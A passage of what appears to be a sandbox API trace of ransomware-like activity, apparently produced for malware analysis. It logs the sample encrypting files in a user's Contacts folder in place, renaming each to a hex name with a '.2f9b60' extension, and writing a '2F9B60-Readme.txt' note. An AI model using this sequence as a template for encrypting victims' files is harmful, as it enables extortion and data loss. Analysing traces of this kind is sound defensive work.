ftLastWriteTime.dwLowDateTime=0xce386400, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql8BEA.tmp", cAlternateFileName="")) returned 0 [0097.013] FindClose (in: hFindFile=0x1cd9c910 | out: hFindFile=0x1cd9c910) returned 1 [0097.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63da0) returned 1 [0097.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0097.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 Thread: id = 550 os_tid = 0xe58 [0093.908] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact")) returned 0x20 [0093.909] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", dwFileAttributes=0x20) returned 1 [0093.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd58 [0093.909] GetFileSizeEx (in: hFile=0xd58, lpFileSize=0x24a4f820 | out: lpFileSize=0x24a4f820*=1178) returned 1 [0093.909] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.909] ReadFile (in: hFile=0xd58, lpBuffer=0x24a4f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24a4f7e8, lpOverlapped=0x0 | out: lpBuffer=0x24a4f7a0*, lpNumberOfBytesRead=0x24a4f7e8*=0x4, lpOverlapped=0x0) returned 1 [0093.911] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0093.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0093.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0093.912] NtQuerySystemTime (in: CurrentTime=0x24a4f6e0 | out: CurrentTime=0x24a4f6e0*=132462176997382000) returned 0x0 [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x654ae268 [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x778242 [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x57b9675e [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x1f565118 [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x3c869a2d [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0xefc5784 [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x6984e16c [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x945c121 [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x3904f82a [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x783ae0b6 [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x54f6bb1b [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x5de1ddcc [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x18d5ce85 [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x32359e2b [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x3f45720c [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x28ecfb7b [0093.912] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x7241d879 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x47b0b1d3 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x51dcbb19 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x63f95c22 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0xb1eea2d [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x5c88c37 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x421ba600 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x6f79a74a [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x60bc1465 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x7fde0fb9 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x24d040e4 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x1abb8089 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x6e1ae88a [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x15a4533c [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x4d9aba16 [0093.913] RtlRandomEx (in: Seed=0x24a4f6d0 | out: Seed=0x24a4f6d0) returned 0x27e080a4 [0093.926] ReadFile (in: hFile=0xd58, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x49a, lpNumberOfBytesRead=0x24a4f6d0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x24a4f6d0*=0x49a, lpOverlapped=0x0) returned 1 [0093.926] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.926] WriteFile (in: hFile=0xd58, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x49a, lpNumberOfBytesWritten=0x24a4f6d4, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x24a4f6d4*=0x49a, lpOverlapped=0x0) returned 1 [0093.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0093.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0093.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a7e0) returned 1 [0093.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0093.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0093.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97300 [0093.929] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.929] WriteFile (in: hFile=0xd58, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x24a4f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x24a4f7f0*=0x120, lpOverlapped=0x0) returned 1 [0093.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0093.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0093.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0093.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad50) returned 1 [0093.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f2f0 [0093.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0093.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0093.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a810) returned 1 [0093.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0093.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0093.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86eb10 [0093.931] sprintf (in: _Dest=0x1b86eb10, _Format="%c%c" | out: _Dest="31") returned 2 [0093.931] sprintf (in: _Dest=0x1b86eb12, _Format="%c%c" | out: _Dest="a6") returned 2 [0093.931] sprintf (in: _Dest=0x1b86eb14, _Format="%c%c" | out: _Dest="05") returned 2 [0093.931] sprintf (in: _Dest=0x1b86eb16, _Format="%c%c" | out: _Dest="a9") returned 2 [0093.931] sprintf (in: _Dest=0x1b86eb18, _Format="%c%c" | out: _Dest="cd") returned 2 [0093.931] sprintf (in: _Dest=0x1b86eb1a, _Format="%c%c" | out: _Dest="f5") returned 2 [0093.931] sprintf (in: _Dest=0x1b86eb1c, _Format="%c%c" | out: _Dest="33") returned 2 [0093.931] sprintf (in: _Dest=0x1b86eb1e, _Format="%c%c" | out: _Dest="12") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb20, _Format="%c%c" | out: _Dest="d2") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb22, _Format="%c%c" | out: _Dest="9f") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb24, _Format="%c%c" | out: _Dest="b8") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb26, _Format="%c%c" | out: _Dest="39") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb28, _Format="%c%c" | out: _Dest="39") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb2a, _Format="%c%c" | out: _Dest="e2") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb2c, _Format="%c%c" | out: _Dest="ce") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb2e, _Format="%c%c" | out: _Dest="6d") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb30, _Format="%c%c" | out: _Dest="40") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb32, _Format="%c%c" | out: _Dest="c9") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb34, _Format="%c%c" | out: _Dest="c9") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb36, _Format="%c%c" | out: _Dest="87") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb38, _Format="%c%c" | out: _Dest="66") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb3a, _Format="%c%c" | out: _Dest="cf") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb3c, _Format="%c%c" | out: _Dest="bd") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb3e, _Format="%c%c" | out: _Dest="dd") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb40, _Format="%c%c" | out: _Dest="5c") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb42, _Format="%c%c" | out: _Dest="5e") returned 2 [0093.932] sprintf (in: _Dest=0x1b86eb44, _Format="%c%c" | out: _Dest="7a") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb46, _Format="%c%c" | out: _Dest="5b") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb48, _Format="%c%c" | out: _Dest="01") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb4a, _Format="%c%c" | out: _Dest="7e") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb4c, _Format="%c%c" | out: _Dest="a6") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb4e, _Format="%c%c" | out: _Dest="51") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb50, _Format="%c%c" | out: _Dest="03") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb52, _Format="%c%c" | out: _Dest="7d") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb54, _Format="%c%c" | out: _Dest="61") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb56, _Format="%c%c" | out: _Dest="8c") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb58, _Format="%c%c" | out: _Dest="64") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb5a, _Format="%c%c" | out: _Dest="a5") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb5c, _Format="%c%c" | out: _Dest="7b") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb5e, _Format="%c%c" | out: _Dest="6e") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb60, _Format="%c%c" | out: _Dest="8e") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb62, _Format="%c%c" | out: _Dest="11") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb64, _Format="%c%c" | out: _Dest="6e") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb66, _Format="%c%c" | out: _Dest="ef") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb68, _Format="%c%c" | out: _Dest="ae") returned 2 [0093.933] sprintf (in: _Dest=0x1b86eb6a, _Format="%c%c" | out: _Dest="1c") returned 2 [0093.933] RtlInitAnsiString (in: DestinationString=0x24a4f868, SourceString="31a605a9cdf53312d29fb83939e2ce6d40c9c98766cfbddd5c5e7a5b017ea651037d618c64a57b6e8e116eefae1c" | out: DestinationString="31a605a9cdf53312d29fb83939e2ce6d40c9c98766cfbddd5c5e7a5b017ea651037d618c64a57b6e8e116eefae1c") [0093.933] RtlAnsiStringToUnicodeString (in: DestinationString=0x24a4f838, SourceString="31a605a9cdf53312d29fb83939e2ce6d40c9c98766cfbddd5c5e7a5b017ea651037d618c64a57b6e8e116eefae1c", AllocateDestinationString=1 | out: DestinationString="31a605a9cdf53312d29fb83939e2ce6d40c9c98766cfbddd5c5e7a5b017ea651037d618c64a57b6e8e116eefae1c") returned 0x0 [0093.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1183a0 [0093.934] wcscat (in: _Dest=0x1b7ad5c0, _Source="31a605a9cdf53312d29fb83" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\31a605a9cdf53312d29fb83") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\31a605a9cdf53312d29fb83" [0093.934] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\31a605a9cdf53312d29fb83.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\31a605a9cdf53312d29fb83.2f9b60" [0093.934] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\31a605a9cdf53312d29fb83.2f9b60", NtPathName=0x24a4f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\31a605a9cdf53312d29fb83.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107a80 [0093.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0093.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.936] NtQueryInformationFile (in: FileHandle=0xd58, IoStatusBlock=0x24a4f878, FileInformation=0x24a4f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24a4f878, FileInformation=0x24a4f888) returned 0x0 [0093.936] NtSetInformationFile (FileHandle=0xd58, IoStatusBlock=0x24a4f878, FileInformation=0x24a4f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0093.938] FlushFileBuffers (hFile=0xd58) returned 1 [0093.939] CloseHandle (hObject=0xd58) returned 1 [0093.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866840 [0093.940] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0093.940] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" [0093.940] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\2f9b60-readme.txt")) returned 0xffffffff [0093.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd58 [0093.941] WriteFile (in: hFile=0xd58, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x24a4f730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x24a4f730*=0xba9, lpOverlapped=0x0) returned 1 [0093.942] CloseHandle (hObject=0xd58) returned 1 [0093.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0093.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 Thread: id = 551 os_tid = 0xe5c [0093.945] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact")) returned 0x20 [0093.945] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", dwFileAttributes=0x20) returned 1 [0093.946] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd58 [0093.946] GetFileSizeEx (in: hFile=0xd58, lpFileSize=0x24cdf7c0 | out: lpFileSize=0x24cdf7c0*=68382) returned 1 [0093.946] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x10b1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.946] ReadFile (in: hFile=0xd58, lpBuffer=0x24cdf740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24cdf788, lpOverlapped=0x0 | out: lpBuffer=0x24cdf740*, lpNumberOfBytesRead=0x24cdf788*=0x4, lpOverlapped=0x0) returned 1 [0093.948] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82afc0 [0093.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0093.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0093.948] NtQuerySystemTime (in: CurrentTime=0x24cdf680 | out: CurrentTime=0x24cdf680*=132462176997850000) returned 0x0 [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x26fd8d2c [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x4adf437b [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x6b13f956 [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x78778551 [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x3236f436 [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0xbdc32e7 [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x2dcde32e [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x48c67cc5 [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x44910196 [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x5d5ccc06 [0093.948] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x53ed6ba4 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x654da1d9 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0xc0e5bb3 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x6e09d4c4 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x2a4a19b4 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x3f291ae9 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x47860681 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x77dcffc6 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x24fe6d34 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x1320650c [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x3c4871d7 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x6c34af8b [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x56373bdc [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x387c4060 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x5a0e53ba [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x4b4a109c [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x4914e384 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x422c12a6 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x193b386b [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x46181cbf [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x74949664 [0093.949] RtlRandomEx (in: Seed=0x24cdf670 | out: Seed=0x24cdf670) returned 0x283c079d [0093.961] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.961] ReadFile (in: hFile=0xd58, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24cdf6e0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x24cdf6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.962] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0093.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0093.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82afc0 [0093.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82afc0) returned 1 [0093.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82afc0 [0093.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0093.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0093.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0093.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0093.963] WriteFile (in: hFile=0xd58, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24cdf6e0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x24cdf6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0099.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0099.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0099.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f030 [0099.260] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0099.260] WriteFile (in: hFile=0xd58, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x24cdf790, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x24cdf790*=0x11c, lpOverlapped=0x0) returned 1 [0104.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0104.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0104.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0104.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f130 [0104.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0104.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0104.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202607a0) returned 1 [0104.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0104.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd867f0 [0104.136] sprintf (in: _Dest=0x1cd867f0, _Format="%c%c" | out: _Dest="61") returned 2 [0104.136] sprintf (in: _Dest=0x1cd867f2, _Format="%c%c" | out: _Dest="0f") returned 2 [0104.136] sprintf (in: 